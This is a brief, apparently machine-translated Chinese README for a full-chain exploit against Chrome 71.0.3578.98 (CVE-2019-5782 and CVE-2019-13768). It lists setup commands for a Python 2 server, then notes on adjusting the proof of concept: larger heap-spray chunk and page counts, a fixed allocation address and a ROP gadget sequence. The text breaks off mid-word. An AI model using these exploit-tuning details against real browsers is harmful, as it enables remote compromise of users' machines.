CVE-2019-5782_CVE-2019-13768:全链Chrome 71.0.3578.98漏洞利用

利用和 目标 需要更新才能在 Windows 10 1909+ 上运行。 还需要提高特定目标机器的可靠性，其中原始 PoC 的可靠性约为 0%（但在另一个目标上的可靠性约为 100%） 安装依赖 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py python2 get-pip.py pip2 install cherrypy 跑步 python2 server.py PoC变化： 释放对象的替换没有发生，因此将分配的 0x140 大小的块的数量从 0x88 增加到 0x8000。 未在 0x40404040000 分配页面，因此将分配的页面数量从 0xc88 增加到 2*0xc88 ROP 小工具mov rcx, rax ; mov rax, rcx ; add rsp, 28h ; ret mo